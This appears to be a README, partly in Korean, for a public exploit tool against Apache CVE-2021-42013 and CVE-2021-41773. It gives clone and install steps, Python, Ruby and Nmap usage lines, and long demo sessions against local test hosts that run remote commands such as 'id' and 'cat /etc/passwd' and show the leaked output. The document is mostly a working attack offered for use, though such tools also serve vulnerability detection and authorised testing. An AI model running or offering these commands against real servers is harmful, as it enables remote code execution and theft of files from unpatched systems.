mauricelambert/cve-2021-42013Apache CVE-2021-42013을 탐지하고 원격 코드 실행 및 로컬 파일 노출을 Nmap, Python, Ruby 스크립트를 통해 악용합니다.
이 스크립트는 CVE-2021-42013을 악용하여 파일을 출력하거나 명령어를 실행합니다.
이 스크립트는 다음 환경에서 사용할 수 있습니다:
git clone https://github.com/mauricelambert/CVE-2021-42013.git
cd CVE-2021-42013
# Python
pip install -r requirements.txt
# Python
python3 CVE202142013.py [(-f/--file FILE|-c/--commands COMMAND1 COMMAND2 ...) -s/--ssl -o/--output FILE target]
# Nmap
nmap -p 80 --script RCE_CVE2021_41773 [--script-args "file=<file>" "command=<command>"] <target>
# Ruby
ruby CVE-2021-41773.rb [(-f/--file FILE|-c/--commands "COMMAND1;COMMAND2;...") -o/--output FILE target]
~# python3 CVE202142013.py 127.0.0.1:80
CVE-2021-42013 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[-] Target is not vulnerable.
~# python3 CVE202142013.py 172.17.0.2
CVE-2021-42013 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
~# python3 CVE202142013.py -c "id" "echo H4CK" -c "cat /etc/passwd" -u "/" 172.17.0.2
CVE-2021-42013 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
H4CK
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~# python3 CVE202142013.py -f "/etc/passwd" -o out.txt 172.17.0.2
CVE-2021-42013 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
~# cat out.txt
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~# python3 CVE202142013.py -u "error" -f "/do/not/exists" 172.17.0.2
CVE-2021-42013 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
[-] Exploit is not working (HTTP error 403).
~# python3 CVE202142013.py -f "/do/not/exists" 172.17.0.2
CVE-2021-42013 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
PythonToolsKit Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
[-] Exploit is not working (HTTP error 404).
~#
~# ruby CVE-2021-41773.rb 127.0.0.1
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target: 127.0.0.1 is vulnerable
~# ruby CVE-2021-41773.rb -c "id; echo abc" 127.0.0.1
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
[+] Target is vulnerable.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
abc
~# ruby CVE-2021-41773.rb -f "/etc/passwd" -o abc.txt
CVE-2021-41773 Copyright (C) 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
Host (target): 127.0.0.1
[+] Target is vulnerable.
~# cat abc.txt
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
~#
~# nmap -p 80 --script RCE_CVE2021_42013 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:39 CET
NSE: Web service is up. Send payload...
NSE: Mode: detect only. No exploit.
NSE: Target is vulnerable.
Nmap scan report for 172.17.0.2
Host is up (0.00015s latency).
PORT STATE SERVICE
80/tcp open http
| RCE_CVE2021_42013:
| CVE-2021-42013:
| title: Apache CVE-2021-42013 RCE
| state: VULNERABLE (Exploitable)
| ids:
| CVE:CVE-2021-42013
| description:
| The Apache Web Server contains a RCE vulnerability. This
| script detects and exploits this vulnerability with RCE
| attack (execute commands) and local file disclosure.
| dates:
| disclosure:
| year: 2021
| day: 06
| month: 10
| disclosure: 2021-10-06
| refs:
| https://nvd.nist.gov/vuln/detail/CVE-2021-42013
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
|_ https://github.com/mauricelambert/CVE-2021-42013
Nmap done: 1 IP address (1 host up) scanned in 0.55 seconds
~# nmap -p 80 --script RCE_CVE2021_42013 --script-args "file=/etc/passwd" 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:38 CET
NSE: Web service is up. Send payload...
NSE: Mode: exploit local file disclosure
NSE: Target is vulnerable.
NSE: Exploit is working.
Nmap scan report for 172.17.0.2
Host is up (0.00017s latency).
PORT STATE SERVICE
80/tcp open http
| RCE_CVE2021_42013:
| CVE-2021-42013:
| title: Apache CVE-2021-42013 RCE
| state: VULNERABLE (Exploitable)
| ids:
| CVE:CVE-2021-42013
| description:
| The Apache Web Server contains a RCE vulnerability. This
| script detects and exploits this vulnerability with RCE
| attack (execute commands) and local file disclosure.
| dates:
| disclosure:
| month: 10
| year: 2021
| day: 06
| disclosure: 2021-10-06
| refs:
| https://github.com/mauricelambert/CVE-2021-42013
| https://nvd.nist.gov/vuln/detail/CVE-2021-42013
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
| exploit output:
|
| root:x:0:0:root:/root:/bin/bash
| www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|_
Nmap done: 1 IP address (1 host up) scanned in 0.56 seconds
~# nmap -p 80 --script RCE_CVE2021_42013 --script-args "command=id" 172.17.0.2
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-10 07:32 CET
NSE: Web service is up. Send payload...
NSE: Mode: exploit RCE
NSE: Target is vulnerable.
NSE: Exploit is working.
Nmap scan report for 172.17.0.2
Host is up (0.00087s latency).
PORT STATE SERVICE
80/tcp open http
| RCE_CVE2021_42013:
| CVE-2021-42013:
| title: Apache CVE-2021-42013 RCE
| state: VULNERABLE (Exploitable)
| ids:
| CVE:CVE-2021-42013
| description:
| The Apache Web Server contains a RCE vulnerability. This
| script detects and exploits this vulnerability with RCE
| attack (execute commands) and local file disclosure.
| dates:
| disclosure:
| day: 06
| year: 2021
| month: 10
| disclosure: 2021-10-06
| refs:
| https://nvd.nist.gov/vuln/detail/CVE-2021-42013
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42013
| https://github.com/mauricelambert/CVE-2021-42013
| exploit output:
|
| uid=1(daemon) gid=1(daemon) groups=1(daemon)
|_
Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds
~#
GPL, 버전 3에 따라 라이선스가 부여됩니다.